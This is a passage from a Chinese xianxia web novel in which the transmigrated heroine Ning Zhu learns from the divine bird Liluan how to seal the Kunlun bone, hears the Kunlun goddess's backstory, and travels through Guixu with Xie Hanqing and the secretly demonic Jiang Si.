比如白晚就是,他记得原著里提到过,白晚的肉身乃是魔尊为他炼化的。 如果是这样的话……只单纯毁去昆仑骨,也是有机会活下来的! 漓鸾看破了她的想法,似笑非笑道:“取出昆仑骨容易,你又如何毁去它?” 他不知道想到了什么,语气变得有些哀伤:“昆仑骨乃神造之物,天道不允它存于世间。” “用你的观点来解释,就是主剧情不会被更改,昆仑骨必须被毁灭。” “我不妨多告诉你一点,昆仑骨相引又相斥,两个拥有昆仑骨的人,这辈子都会被驱使着,不断想要杀死对方,夺取另一块昆仑骨。” ……会被驱使? 宁竹注意到了漓鸾的措辞。 宁竹觉得很奇怪。 让两块昆仑骨之间角逐斗争,最终无论是哪一边胜出,胜者都会获得完整的昆仑骨。 这便意味着,胜者可以是代表正义的谢寒卿,也可以是反派……江似。 天道仿佛毫不在意哪一边能够胜出。 按照这个世界的天道法则,天道只是要昆仑骨彻底消灭,并不在乎最后会是哪一阵营胜利。 方才漓鸾说,魔渊开口和昆仑骨有关。 而昆仑骨合二为一之后,拥有完整昆仑骨的那个人,迟早有一天会因为承受不住昆仑骨的神力而消亡,还归神力于天地。 难道到那一天,魔气会消失? 如果真的是这样,那么无论是谢寒卿,还是江似,其实都只是这枚昆仑骨的容器。 ……所以她看到谢寒卿自爆而亡,会不会是他也猜到了自己终将有一死? 宁竹颤抖起来。 这便是……天道的真相么? 沉默片刻,宁竹道:“只要能找到方法毁去昆仑骨,将神力还归于天地,其实谢寒卿和江似会不会死都不重要。” 漓鸾说了,昆仑骨可以被自愿剖出,取出昆仑骨这一步并不难。 难的是该如何毁去昆仑骨。 谢寒卿之所以能毁去昆仑骨,是因为他和昆仑骨本就已经融为一体。 如果她想要在保全他们两人性命的情况下毁去昆仑骨,可以再为昆仑骨找到一个合适的容器,然后,杀了这个容器。 漓鸾似乎在哀叹。 他的声音变得飘渺:“看在你与神女有缘的份上,我便再多说一句。” “你可知你体内的红丝来源于何处?” 宁竹瞳孔一缩。 漓鸾的表情变得很淡:“昆仑神女。” “你体内的红丝,乃是神女经脉所化。” 宁竹沉默片刻,忽然问:“……那我可以当那个第三人吗?” 但让宁竹失望的是,漓鸾摇了下头:“昆仑神女的神力,大部分都封存在昆仑骨中,你体内虽有一部分神力,但即使将昆仑骨移入你体内,毁去你的肉身,也毁不掉昆仑骨。” 漓鸾又道:“除非……你以身封印昆仑骨。” 宁竹眼眸一亮:“封印?” 漓鸾点头:“你体内有昆仑神女的神力,可以稍稍约束昆仑骨的神力,不至于让你的肉身承受不住昆仑骨的神力而被毁。” “待到百年之后,昆仑骨会渐渐与你融为一体,届时……” “届时我再毁去肉身,便能毁去昆仑骨,对吗?” 漓鸾看她一眼,说出了一句让她出乎意料的话:“你乃异世来客,肉身被毁,兴许神魂能回归来处。” 宁竹惊道:“仙尊说的可当真?!” 漓鸾道:“你本就不是该存在于此间之人,也合该回归故里,届时我会助你一二。” “但三千世界纷繁,虚空通道万千,若是失败,你很有可能会落得神魂消散的下场。” 宁竹眸光坚定:“请仙尊助我!” 她一字一句道:“……无论是谢寒卿还是江似,他们都不是自愿成为昆仑骨的,如果我可以帮他们,我愿意以身封印昆仑骨。” 漓鸾盯着她看了许久,忽然笑了下。 “宁竹,其实你最开始想问的问题,我给的回答也是这一个。” “要打通三千界,需得破碎虚空,只能借助昆仑骨的神力。” “昆仑骨被毁去的一瞬,是虚空唯一能被破碎的时机。” 宁竹垂眸。 ……果然,跨越时空通道,哪里会那么容易。 但……她必须要尝试。 漓鸾点了点手中那枚如霜似雪的花,花瓣霎时化为水珠,散落一地。 他指尖一点,清寒的雪水印在她的眉心。 “你的问题我已经回答了,走吧。” “待到那一日,我会助你。” 周遭一切都变得模糊,宁竹不由自主地被推了出去。 识海胀痛不堪。 巨大的信息量浮现在眼前。 眼前星河倒转,风吹枯原,她已经从音希山出来了。 微风拂过宁竹的衣摆,她凝望着这片诡谲宽阔的荒原。 生着巨大尾翼的鸟从天际缓缓划过,无数形状各异的伞状物漂浮在半空中。 这是只有修真界才会有的景象。 ……哪怕顺利封印昆仑骨,也要等百年之后,才能捕捉回家的那一线希望。 修真界的时间流速与她的世界会一致吗? 眼睫被泪水打湿,宁竹狼狈低头。 ……爷爷,对不起。 与此同时,谢寒卿紧紧握着手中怀卿剑,淡色的瞳盯着眼前须发皆白,生有鸟羽的漓鸾。 “您就是神鸟。” 漓鸾微笑:“本尊道号漓鸾。” “本尊只回答一个问题,现在问吧。” 谢寒卿睫羽微垂。 片刻后,他开口道:“我想知道,宁竹问的是什么问题。” 漓鸾笑起来:“本尊说了,本尊只回答一个问题。” 谢寒卿颔首:“我明白,请仙尊告诉我。” “宁竹问的问题……到底是什么?” 第72章 漓鸾居高临下看着眼前之人。 许多年前, 他曾见过他的母亲。 世人只知归墟五十年方开启一次,却不知还有另一种方法找到音希山。 姜沁月踏入音希山的时候,他已经沉睡了许久。 他不悦地盯着姜沁月:“你要问什么问题?” 姜沁月在他面前跪了下来:“谢家作孽,戕害神女, 可是神女的孩子……是无辜的, 我如今来, 就是想问该如何救下他?” 他将姜沁月狠狠扇飞:“既然知道谢家害了神女, 又如何有脸寻到这里来?” 无数鸟羽化作锋利的剑, 旋转着围绕在姜沁月身边。 剑气割得她浑身鲜血淋漓, 但姜沁月眼中并无畏惧。 她朝着漓鸾行了一礼:“只要有人寻到音希山来, 你都必须回答对方的问题,这是神女当年定下的规矩。” 漓鸾眼中浮现出恨色。 上古时期, 众神寂灭,天地间只剩下昆仑神女和他的坐骑漓鸾。 昆仑神女, 是世间最后一个神, 却也是神力最微薄的神。 待到千年之后,昆仑神女也会如同众神一般,无声寂灭,消散在天地之间。 昆仑神女寿命不足百年的时候, 音希山来了一个英俊非凡的青年。 关于音希山神鸟能回答任何问题的传说,已经鲜少有人知晓了。 谢檀来到音希山之前,似乎已经有几百年没来过人了。 昆仑神女已有三千岁,但在神的概念里,她也只不过是一个十几岁的小姑娘, 心性单纯,鲜少见过外人。 那天她化作漓鸾的样子,坐在琼枝上, 看着下方青隽的青年,笑盈盈问:“你要问我什么问题呀?” 神清骨秀的仙君朝着她行礼:“神女在上,鄙人斗胆,想问如何能获得您的青睐?” 昆仑神女当即又羞又恼:“荒唐!” 谢檀站在原地,眼眸含笑看着她。 昆仑神女又生出几分好奇:“你是如何认出我的?” 谢檀道:“神女先回答我的问题,我便告诉你。” 漓鸾虽为神兽,年纪却长了神女几千岁,认为人类卑劣不可信。 昆仑神女对他说自己要跟着谢檀离开音希山的那一天,漓鸾勃然大怒:“神与人不能相爱,神女若执意如此,必遭天罚。” 昆仑神女穿着谢檀送给她的石榴红留仙裙,一脸无所谓:“可是我本来就活不了多久啦。” “好漓鸾,就让我去吧,谢檀他……是个好人,他会对我好的。” 昆仑神女面上带着笑,是他从未见过的鲜妍明媚。 漓鸾最终妥协了。 众神寂灭,昆仑神女也逃不过这一天。 她只有百年寿命了,任性一些又何妨? 昆仑神女离开的第二年,音希山上的最后一块神石轰然倒塌。 漓鸾从噩梦中惊醒,他不顾天道法则限制,耗尽半生修为闯出音希山,赶去见了昆仑神女最后一面。 那是在一个叫做梦京的地方,小院中栽满了各式各样的花卉,五彩斑斓,是音希山从未有过的绚烂色彩。 昆仑神女抱着一个啼哭不已的婴孩,浑身是血,院中尸体横陈。 她的脸色白得像纸一样,满头青丝已化作银霜。 昆仑神女看见漓鸾的那一刻,杀得血红的眼终于流下了一滴泪来。 “漓鸾,我赌错了。” “他只是想要我体内的昆仑骨。” 漓鸾怒不可遏。 神族难以繁衍,其中又以昆仑一族为甚。 昆仑一族,昆仑骨世代相传,一旦母体怀孕,昆仑骨便会传给胎儿,母体也会随之丧失神格,变为凡人,很快死去。 昆仑神女愿意成为凡人,也愿意把昆仑骨传给他们的孩子。 神与人的后代,为半神,这孩子一出生便会无比强大,昆仑神女愿意用有限的余生来约束这个孩子,让他成为一个正人君子。 而他体内的昆仑骨代代相传,迟早有一天会神力尽失。 没有人会察觉出端倪。 但是昆仑神女万万没想到,谢檀从一开始想要的,便只是她体内这块昆仑骨。 他甚至知道不能从她体内强夺昆仑骨,而是在她诞下平阳的那一刻,便迫不及待动手了。 可惜,谢檀低估了一个神族。 谢檀带来的人被她尽数杀死,谢檀更是被她千刀万剐,遗骨无存。 漓鸾握着昆仑神女的手,哭得像个无措的小孩。 昆仑神女轻抚他的头:“漓鸾,总有这一天的。” “我死后,把我的尸身葬在昆仑山。” 漓鸾的目光落在啼哭不止的谢平阳身上,眸中闪过杀意。 昆仑神女的笑意变得冰冷,眸中却有哀凄之色:“人族不可信任,但这孩子……到底是无辜的。” “我在昆仑骨上降下诅咒,予他二十年寿命,让他当个早逝的天才,也算是全了母子缘分一场。” 漓鸾不再管谢平阳。 他带着昆仑神女的尸身离开了梦京,将她葬在了昆仑山。 但是他们都没想到,谢平阳的命运并没有按照既定的走下去。 谢檀不敢将昆仑神女带回谢家,这一年来,她一直在这间宅子中生活。 谢家主母找到宅子的时候,发现谢檀被杀,唯独留下一个啼哭不止的婴孩。 谢家主母认为谢平阳乃是天生邪祟,弑父杀母,本想将他杀了,却发现这孩子不死不灭。 谢家主母惊恐之下,只能将他带回了谢家,以一个疯子的名义将谢平阳囚于暗牢二十载。 直到姜沁月第一次进入了暗牢。 只是漓鸾低估了一个母亲的怜子之心。 原来昆仑神女当年给谢平阳留下了一点信息,谢平阳的昆仑骨在体内频频发作,搅得他痛不欲生之时,他也通过一些梦境断断续续知道了昆仑骨的真相。 谢家主母将谢平阳看管得很严,他根本没办法离开暗牢。 于是姜沁月循着昆仑神女留下的线索,一路找到了音希山。 只是这些事情,谢寒卿不会知晓,也没必要知晓。 至于宁竹,天道所限,未来之事,她说不出口。 漓鸾看着下方雪砌琼枝的小仙君,有些恍惚。 说来神奇,谢寒卿长得并不像他的父母和外祖父母。 反而……与神女的父亲,昆仑神君有些像。 那位神君,姿容清冷,性子也极为冷淡,却生出了一个活泼单纯的昆仑神女。 漓鸾收回思绪,问谢寒卿:“你是如何找到音希山的?” 谢寒卿沉默了片刻,开口道:“是巧合。” 漓鸾笑了下:“要抵达音希山,必需先过归墟梦魇这一关。” “分明已经在幻境中诛杀了归墟梦魇,却跟我说是巧合?” 漓鸾笑得有些嘲讽:“还是你也不想承认,自己亲手斩杀了父母?” 谢寒卿面色不变:“他们不是我的父母,是归墟梦魇。” 漓鸾却说:“你们人族,还真是狠心,就算你的父母已成归墟梦魇……对着双亲的模样也能下得去手。” “你是如何认出他们的。” 谢寒卿垂眸不语。 漓鸾笑起来:“是因为谢平阳。” “谢平阳被囚禁多年,除了谢家掌权人,没有人见过他,但你的幻境中却出现了谢平阳。” 他抚掌道:“真是够细心,也够狠心啊……” 谢寒卿重复:“我要问的问题,还请仙尊告知。” 漓鸾睨他:“本尊最后说一遍,我只回答一个问题。” 谢寒卿神色平静看着他。 漓鸾无奈,只能说:“她问的问题是……” 谢寒卿变得紧张。 “她如何才能回家。” ……回家。 谢寒卿细细咀嚼这两个字。 “仙尊可知,宁竹要回的是家在哪里?” 漓鸾淡声道:“本尊只回答一个问题。” 他指尖一点,清寒的雪水在他眉心化开。 “去罢……” 谢寒卿不由自主地往外跌去。 足下滚烫的岩浆翻涌,仿佛方才白茫茫一片的音希山只是一个错觉。 谢寒卿提剑,机械地朝着身下妖兽刺去,却在想,宁竹要回的家,到底是哪里? 另一边,江似几乎是被一脚踹出音希山的。 他破口大骂:“臭鸟!信不信我把你翅膀拔下来烤了!!” 漓鸾气得浑身颤抖,竖子无礼!他和谢寒卿问的是同一个问题,自己不回答,他竟试图攻击自己逼问出答案! 有人无奈道:“漓鸾仙尊,别与一个小辈置气。” 漓鸾瞪着旁边的谢平阳:“都是你生的好儿子!” 他精心养护数百年的羽毛,竟被他一下子拔下七八根来! 若不是他不能对人族动手,今天这臭小子休想离开音希山! 谢平阳淡声说:“他体内天生邪骨,性情难免受到影响。” 姜沁月亦颔首:“漓鸾仙尊多担待。” 漓鸾被他们两人一唱一和堵得话都说不出来。 他指着两人,气闷不已,倏然消失不见。 姜沁月和谢平阳对视一眼,笑着摇了下头。 姜沁月忽然开口:“我们的孩子……很棒。” 谢平阳唇边浮现出一抹极淡的笑:“嗯。” 见姜沁月露出惆怅的神色,谢平阳握住她的手:“你我镇守归墟,年复一年,得以见他一面,已是上天恩赐,至于未来如何……” “顺其自然。”一声哀叹,四散在风中。 宁竹握着流烟剑走在无边无际的枯原之上。 中间她斩杀了三只中阶妖兽,路过了好几处顶级矿石堆,但她没有停下,而是麻木地,浑浑噩噩地往前走。 也不知道过了多久,宁竹终于停了下来。 肚子发出一声长鸣。 她坐到一块岩石上,从乾坤袋里掏出一枚热乎乎的饭团,又取出一杯温热的饮子,开始吃饭。 吃着吃着,眼泪啪嗒啪嗒掉下来。 宁竹无声地哭着,嘴里却不停,很快把饭团和饮子都吃完了。 胃里没那么空,好像也没那么难受了。 宁竹抹掉眼泪,靠着岩石发了会儿呆。 她觉得整个人都很空。 像是踏在一团云上,无处落脚。 心底也空了一大块。 仿佛坚持了那么久的一口气,忽然散掉了。 爸爸妈妈车祸去世后,其实留下来一笔钱,那笔钱足够爷爷奶奶养老用了。 只是爷爷奶奶很节省,他们要留着这笔钱给宁竹上大学,买房结婚。 宁竹忍不住想,如果她不在了,爷爷会不会舍得花这笔钱? 他会请护工吗,会被骗吗? 宁竹又开始掉眼泪。 哭了一小会儿,宁竹抹掉了眼泪。 她不喜欢自己这个样子。 宁竹,打起气来啊。 也许修真界时间流速和自己的世界不一致,这边过了一百年,那边只是几分钟呢? 至少……有一线希望。 宁竹慢吞吞站起来。 她还有很多事情要做,不能这么颓废下去。 天际一片赤红深紫交织,星河灿漫,诡谲又美丽。 宁竹眺望着远方,深深吸了一口气。 她转身往回走。 宁竹记得方才在那边看到了一片顶级矿石堆,方才她整个人恍惚不已,就这么直愣愣地路过了。 不行,她得回去挖矿。 那么好的材料,挖上一袋子回去倒卖,都能大赚一笔。 用钱的地方还多,她得继续搞钱。 宁竹离开半个时辰后,一个马尾高束的少年停在宁竹坐过的岩石前。 他瞳孔一缩。 宁竹不知道,她靠着的这块岩石乃是一块天然的留影石。 江似沉默地站在留影石前,看着画面里少女边哭边吃东西,心一点点揪起。 最后宁竹一言不发离开了这里。 微风拂过枯草,窸窣作响。 江似看着画面回归平静。 ……哭什么。 难道是那破鸟没能回答她的问题? 江似乌黑的眼瞳中翻涌着复杂的情绪。 他暗自咬了下牙,回家?她的家不就在这里?她要回哪里去? 江似矗立片刻,循着宁竹可能离开的方向追去。 该死的归墟,限制重重,他竟无法感应到宁竹的位置,只能通过蛛丝马迹寻找。 相隔不远处,宁竹蹲在地上,正叮叮当当挖着矿。 不得不说,人在忙碌的时候会忘掉烦恼。 这些矿石都是顶级材料,宁竹生怕把哪一块挖坏了,挖得很仔细。 宁竹一挖起来就忘记了时间。 天色一点点暗下来,宁竹在旁边抛出一只月萤灯,霎时将这边的矿堆映得亮如白昼。 宁竹挖了一会儿,忽然看见两块色若丹霞,内部隐隐有红光缭绕的鹅卵形石头紧紧依偎在一起。 她眼眸瞪大,阴阳精石?! 不愧是归墟! 这种只存在于传闻中的矿石也能被她挖到?! 修士若失了元阴或元阳,是能被高阶修士看出来的。 但只要佩戴阴阳精石,哪怕失了元阳元阴,也依然可以伪装。 咳,存在即合理,因为稀少,这种矿石在世面已经被炒出天价了。 宁竹这是大赚了! 她开心地将阴阳精石丢到了乾坤袋中。 宁竹又继续开挖,直到挖得手酸,她停下来,从乾坤袋里掏出一杯热乎乎的米酿,吸了两口,又开始挖。 “叮叮当当——” “能不能别挖了,好吵。” 一道含着哭腔的声音响起。 宁竹手里的矿镐都吓掉了。 宁竹抓住流烟剑,结结巴巴说:“谁……” 那人没了声音。 宁竹咽了咽口水,抓着流烟剑,朝着声音传来的方向走过去。 首先入目的是一头乱蓬蓬的头发,头发上亮晶晶的流苏全部缠在一起,还有不少草屑。 视线往下滑,那件漂亮的法衣不知道被什么东西抓得破破烂烂。 宁竹愣了下,凭借这身打扮认出了对方:“姜师姐?!” 这矿石堆后面形成了一个小洞,姜汐年便躲在里面,将自己缩成一团。 宁竹见她衣衫上有血,走过去问:“姜师姐,你没事吧?” 姜汐年声音变得有些尖利:“别靠近我!” 宁竹不敢动了。 但她很快发现,姜汐年的耳后泛出一种奇怪的红紫色,而且……她身上似乎有一种隐隐约约的腥味。 宁竹不放心:“姜师姐,你是不是受伤了,我身上带着药……” 姜汐年崩溃大哭:“都说了不要管我!让我去死咳咳咳——” 姜汐年身子一直不好,此时太过激动,剧烈咳嗽几声后,竟是晕了过去。 宁竹终于得以看清她的脸。 她忍不住倒吸一口凉气。 姜汐年的脸上像被什么东西啃咬过,坑坑洼洼,有的地方还算完整,有的地方却是血肉模糊,隐隐有腐烂的迹象,整张脸都泛起一种诡异的紫红色。 宁竹不知道她是被什么东西咬到了,但看这颜色,明显是有毒。 宁竹不敢耽搁,忙从乾坤袋掏出几枚丹药,喂她吃了下去,又取出上好的伤药,帮她敷上去。 就在这时,身后响起一道熟悉的声音:“不管用的,得帮她先把腐肉剜去。” 宁竹手中药品哐当掉在了地上。 那人已经从背后紧紧抱住她,声音里带了哽咽:“宁竹……你没事。” 他们站在矿石堆背面,月萤灯的光丝丝缕缕落下,将两人交叠的影拉得很长。 江似抵在宁竹颈窝处,呼吸很重。 潮热的水汽拂过她的脖颈,她的耳尖,皮肤不由自主地起了一层小小的颤栗。 江似声音有些颤抖:“宁竹,终于找到你了。” 远方似有妖兽在嚎叫,罡风拂过矿石堆,发出尖啸。 宁竹眼眶酸涩,她不敢眨眼,仿佛一眨眼,眼泪就要掉下来了。 宁竹想,为什么同一个人的怀抱会如此截然不同? 他是江似时,让人安心。 ……他是弃苍时,只剩恐惧。 江似很敏感,他觉察到不对劲,轻轻蹭了下她的耳廓:“宁竹,怎么了?” 宁竹没有回头,仿佛她整个人已经被撕裂成了两半。 一个她想转过去狠狠扇他一巴掌,质问他这么耍人有意思吗? 另一个她却在说,可他也是江似。 多么可笑。 江似和弃苍,是一个人。 那么多巧合和漏洞摆在她面前,她却一直在为他辩解。 宁竹蜷在身侧的手一点点攥紧,她声音很哑:“我一直想问你,你的幻境……为什么那么像魔宫?”—— 作者有话说:有人主动递狗绳,妹宝不得不握咯[彩虹屁] 第73章 江似眼角一跳。 绝不能让她知道。 江似不是什么好人, 但弃苍却是一个恶人。 从今往后,他会让他们成为两个人。 ……从毁去傀儡那一刻,江似便已经下定决心。 江似笑着说:“是吗?幻境倒映心中所想,我自然是想取代魔尊, 不屈居于人下。” 宁竹攥紧的手, 一点点松开。 昆仑骨不死不灭, 除非拥有者愿意主动剖出。 肉身毁去, 神魂却有办法可以被保存。 譬如……她在魔宫地底看到的那具傀儡。 宁竹的指尖一点点变凉。 所以, 他制作那具傀儡, 到底是为了什么? 宁竹不想再深想下去。 天道所限, 即使昆仑骨的结局必需是被毁去,她也得努力尝试, 避免原著的结局。 想到天玑山和魔域尸横遍野,血流成河的景象, 宁竹就忍不住颤抖。 她努力将那些画面从脑海中挤出去, 对自己说,还有机会。 ……还有机会改变那些人的结局。 漓鸾仙尊不是已经告诉了她,该怎么做吗? 宁竹将无数纷杂思绪压下去,回过头, 对江似说:“江似,你有看见其他人吗?” 宁竹不知道,她其实是个很不善于伪装情绪的人。 江似几乎是一眼就看出来不对劲。 宁竹……忽然变得很疏离,他们之间,仿佛隔着一层看不见的障碍。 江似盯着她:“没有, 我一路过来,只看到了你们两个。” 宁竹避开他的视线:“嗯,先过来帮我看看姜师姐, 她情况不太妙。” 宁竹自顾自去检查了。 江似盯着她的背影,眸色一点点变深。 ……为什么? 是在音希山得到了回答么? 是知道要怎么回到属于自己的地方了么? 是要割舍他们这些人? 所以才会变得疏离,冷淡。 所以才会躲着哭? 江似的目光如有实质,几乎丝丝缕缕黏在宁竹背上。 ……宁竹,你休想。 哪怕要回到属于你的地方,也休想抛下他。 姜汐年脸上的伤是被蝎尾毒蜂咬的,密密麻麻,也不知道被咬了多少口。 宁竹和江似配合着,把蝎尾毒蜂留下的余毒逼出,剜去腐肉,小心翼翼帮她包扎了起来。 这一切忙完的时候,天已经快要亮了。 宁竹有点担心,姜汐年脸上被咬到的地方太多,即使她方才用了最好的丹药,也不一定能让她的脸恢复如初。 姜汐年这么爱美,也难怪刚刚会那么难过。 ……不过比起原著中她在归墟中死去的结局,这已经算是很好了。 从进入归墟之后,宁竹就没有好好休息过,此时感觉到无比的疲惫。 她在乾坤袋里掏出一条毯子,将自己裹住,对江似说:“我休息一会儿。” 宁竹靠着矿石堆,很快睡着了。 江似抱着剑,沉默地靠在她边上,一动不动盯着熟睡中的少女。 他想了很多,待到最后,他只是轻轻地揽过少女的头,靠在了自己的肩膀上。 太阳出来了。 柔软的光倾覆而下,整座矿石堆五彩斑斓,金光闪闪。 一身白衣的小仙君提着长剑,停在矿石堆前。 月萤灯白昼熄灭,飘浮在半空中,像一个透明的泡泡。 谢寒卿透过月萤灯,盯着依偎在一起的两人。 江似倏然睁开了眼。 四目相对,一双眼睛冷得像是冰冻三尺的寒潭,另一双眼睛幽深得像是深不见底的古井。 宁竹忽然惊醒:“江似?” 还未彻底倾泻出的杀意霎时消散。 宁竹随之看见了前方的谢寒卿,她沉默了片刻,出声唤道:“谢师兄!” 尾音里,竟不知不觉含了点颤意。 谢寒卿睫羽微颤,江似却是不悦地眯起了眼。 宁竹起身,江似一把抓住了她的手:“不去看看姜汐年现在怎么样了吗?” 他的动作太猝不及防,宁竹下意识躲避了下。 江似的目光落在两人交叠的手上,唇角一点点绷紧。 宁竹努力将谢寒卿自爆而亡的画面忘掉,让自己尽量看起来正常些:“是啊,我们先去看看姜师姐。” 她想挣开江似的手,但江似握得太紧,一时半会儿竟然没有挣脱。 宁竹努力克服自己对魔尊的恐惧,默念现在眼前的是江似。 她尽量自然道:“拉着我干什么呀,我们去看看姜师姐。” 江似却不肯放开她,“一起去看。” 剑意袭来。 江似瞳孔一缩,及时松开了手。 剑意伤不到他,却伤得到宁竹。 只是那道剑意在他面前打了个旋儿,马上消散不见。 谢寒卿上前:“姜汐年怎么了?” 为了让姜汐年睡得舒服些,宁竹特地从乾坤袋里拿出了之前囤的芥子屋。 芥子屋里只有一张床榻,姜汐年此时便睡上面,呼吸绵长均匀。 宁竹用手背探了一下她的额头,松了口气:“没发热了。” 谢寒卿走进来,见姜汐年脸上缠着一层厚厚的纱布,眉头微蹙。 宁竹给姜汐年喂过安神丹,但她还是怕吵醒她,扯了下谢寒卿的袖子:“出来说。” 宁竹三言两语把事情说清楚了。 她犹豫片刻,还是开口说:“谢师兄,我打算出归墟了,我会把姜师姐一起带出去。” 谢寒卿眼眸微动:“我同你一起。” 江似上前道:“归墟出口在东南侧,我们现在在西北侧,途中有无数妖兽,你不怕死大可带着这个累赘独自上路。” 宁竹其实也有点犹豫,她来归墟的目的已经达成了,自然可以离开,但她不能要求其他人随她一起离开。 毕竟归墟五十年才开启一次,很是难得。 似乎看穿了她的想法,谢寒卿道:“宁师妹,一起走。” “可是谢师兄……” 谢寒卿道:“她脸上的伤,若是及时用灵泉水温养,或许还能恢复得七七八八,拖久了恐怕就难恢复了。” “事不宜迟,我们现在就离开。” 宁竹只能点点头:“好。” 归墟限制,无法在这里用飞行法器或御剑。 宁竹从乾坤袋里掏出一条精致小巧的小船,把姜汐年放了上去。 她拍了拍手:“水陆空三用,只需要用灵力操控。” 谢寒卿和江似同时盯住这条小船。 正常人会准备这等稀奇古怪之物么? 不会。 谢寒卿甚至在想,难道回她所谓的“家”,也需要渡过阻碍重重,所以她才会那么辛苦筹措灵石,准备丹药法器? 宁竹见他们盯着这条小船看,以为是他们没见过那么奇怪的法器,说:“要不要试试?就跟操纵飞剑一样。” 江似:“这么奇怪的法器,你从哪买到的?” 宁竹心尖一跳。 修真界的人大都喜欢御剑,去哪不能御剑,更何况还有千里遁地符这样的作弊符箓。 但宁竹却不那么想。 她灵力低微,能多借助外物就要多借助外物。 御剑也是需要灵力的,之前她想的是,万一血洗天玑山这个剧情发生后,她侥幸逃了出来,势必是要在各个地方躲躲藏藏。 万一在逃难的过程中,灵力枯竭了,补灵丹也丢了,又恰好陷在一片水里,岂不是找死? 所以她特地找人打了这艘水陆空三用的小船。 用灵力即可操控,哪怕灵力枯竭,它也是一个很好的防御法器。 小船头部的还有一个旋钮,旋转那颗旋钮,便能打开屏蔽结界,旁人路过这条船也会忽视它的存在。 可谓是逃难必备法宝。 但现在宁竹一想到血洗天玑山的始作 俑者就站在自己面前,她就忍不住握紧了拳头。 江似还在看她。 “幽冥集市买的。”宁竹硬邦邦说。 江似愣了下。 但宁竹一想到自己还要“哄骗”他主动剜出体内那块昆仑骨,也不能跟他彻底撕破脸,又扯出一个笑:“江似,你来试试操纵这条小船吧?” 宁竹平日里是个情绪很稳定的人。 但从音希山出来之后,却忽然变得有些喜怒不定。 宁竹在努力掩饰,但亲近之人很容易便能觉查出不对劲。 谢寒卿和江似心思各异。 最终江似上前一步:“好啊,我来试试。” 他朝着小船送出一股魔气,小船如同荡在水面上一般,缓缓往前滑去。 “宁竹。”江似忽然唤她。 宁竹原本不想理他,但迟疑片刻,还是应了一声:“嗯。” 江似垂着眼睛:“坐上来吧,我推着船走。” 宁竹眼眸一转,纵身跳了上去,坐在船边上。 这小船全凭灵力在操控,多一个人便多费一分力气,累死他最好! 宁竹甚至对谢寒卿招了招手:“谢师兄,你也上来坐!” 江似立刻不干:“休想!” 宁竹瞪他,表情很凶。 江似一点点败下阵来,他咬牙切齿,阴阳怪气道:“谢师兄修为高深,不会还要让人推着走——” 谢寒卿已经坐到了宁竹旁边。 他偏头看着宁竹:“这法器很是独特,也很实用,宁师妹是在哪里买的?” 没给江似一个眼神。 江似脸色都变了。 看江似吃瘪,宁竹忍不住抿嘴笑起来:“就是在幽冥集市,东边有一家……” 船忽然停了。 宁竹身旁多出来一个人。 江似挤着宁竹坐下,乌黑的眼眸看着她:“哪家铺子?” 两人一左一右挨着宁竹坐。 他们在暗自较劲。 往里一点,再往里一点。 这样……就能和宁竹再贴近一些。 属于谢寒卿的清寒冷香,和江似身上孤寂如庙宇的香味交织在一起。 宁竹被网罗其中,无处可逃。 他们挨得太近,叫宁竹几乎不能呼吸。 宁竹沉默片刻,忽然大喝一声:“都给我下去!” 烈日当空,一艘小船缓缓行进在沙漠之中。 宁竹坐在船头上,头顶一把宽大的伞飘浮在半空,替她和姜汐年遮挡住烈日。 她喝着手里甜丝丝的琼浆果莓子饮,看着小船后面的两个人。 归墟中地貌万千,方才还是枯林,现在便是一片荒漠。 一身白衣的小仙君和一身黑衣的少年坐在小船尾部,操纵着小船往前走。 这船太小了,船里躺着姜汐年,船头坐一个人,船尾坐两个人,看上去拥挤不堪。 谢寒卿和江似背对而坐,互不搭理。 宁竹吸了一口甜丝丝的饮子,觉得很是神奇。 原著正派和反派就这么和谐地坐在一起,怎么看怎么古怪。 ……还好谢寒卿还不知道江似的身份。 宁竹边喝饮子边想事。 天道所限,她没办法告诉他们之后的事,当然,宁竹也不可能暴露自己的想法。 所以从他们体内取出昆仑骨的事……没有任何人能帮她,只能她自个亲力亲为。 宁竹盯着江似的后脑勺看。 少年马尾高束,看上去有些桀骜,谁又能把他和原著里那个作恶多端,杀人如麻的魔尊联系在一起。 ……好吧。 其实就目前来说,她接触到的魔尊也不像原著里那般可恶,魔域就还被治理得……挺好的? 当然,得刨除江似披着魔尊的马甲欺负她那些事! 宁竹很生气! 她用力捏住手中的杯子,暗自磨牙。 江似似乎注意到她的视线,偏头看来。 宁竹的表情一瞬变得柔和:“渴不渴?要喝这个嘛?” 江似朝她伸出手来。 宁竹麻溜地从乾坤袋里掏出一杯递给他。 另一道视线落在她脸上。 宁竹记得谢寒卿不太喜欢吃甜的,所以拿了一杯积雪草饮递给他。 谢寒卿的目光从宁竹和江似手中同款的琼浆果莓子饮上划过,淡声说:“我也要这个。” 宁竹愣了下,把积雪草饮放回去,也换了一杯同样的莓子饮递给他。 喝喝喝,她饮料囤得超多的! 谢寒卿和江似对视一眼,两人同时吸了一口饮子。 小船上再度陷入安静。 宁竹根本没有觉察到两人之间的微妙。 她咬着吸管,将漓鸾的话思索了一遍又一遍。 首先,她要哄骗江似主动剖出昆仑骨。 不对,首先她要给江似寻找一具合适的肉身,不过既然江似都能做一具跟她一模一样的傀儡,做一具跟他自己一样的傀儡也不算难事吧? 好,如果顺利的话,她就能在保全江似性命的同时取出昆仑骨。 第二步,是让谢寒卿也剖出昆仑骨,然后自己封印昆仑骨。 最后一步,百年之后,她的肉身与昆仑骨彻底融为一体,她便可以毁去昆仑骨。 大方向是没问题了。 但细细一想却处处是难题。 譬如她怎么才能让他们两人心甘情愿剖出昆仑骨? 又譬如这百年时间,又如何不让旁人窥伺昆仑骨? 谢寒卿神魂无依,也需要再为他寻找一具肉身,难道让江似给谢寒卿也做一具傀儡? 这简直是地狱笑话。 宁竹很头疼。 她狠狠吸了一口饮料,眼神呆滞。 ……慢慢来吧。 小船又走了一会儿,宁竹忽然看到前方有一个正在缓缓移动的小黑点。 宁竹一惊,忙说:“你们看!前面好像有人!” 有个过了一会儿,那人好像也看见了宁竹他们,他朝着众人招手,大喊什么。 谢寒卿加快了小船的速度。 那人气力不支跌在地上,身上的衣服已经脏得看不出原本的颜色。 宁竹仔细辨认了一会儿,惊声道:“莫师兄?” 片刻后,宁竹再度拿出了芥子屋给莫云空收拾洗漱。 原来幻境坍塌时,莫云空和姜汐年正待在一起,他们跌出幻境后,不巧落入一片毒气氤氲的深林。 莫云空被妖兽卷住腰部掳走,过程中他昏迷了过去,与姜汐年失散了。 等莫云空逃出妖兽的巢穴,往回寻找将汐年的时候,发现了她掉在地上的珠花。 周围并无打斗迹象,但姜汐年人不见了。 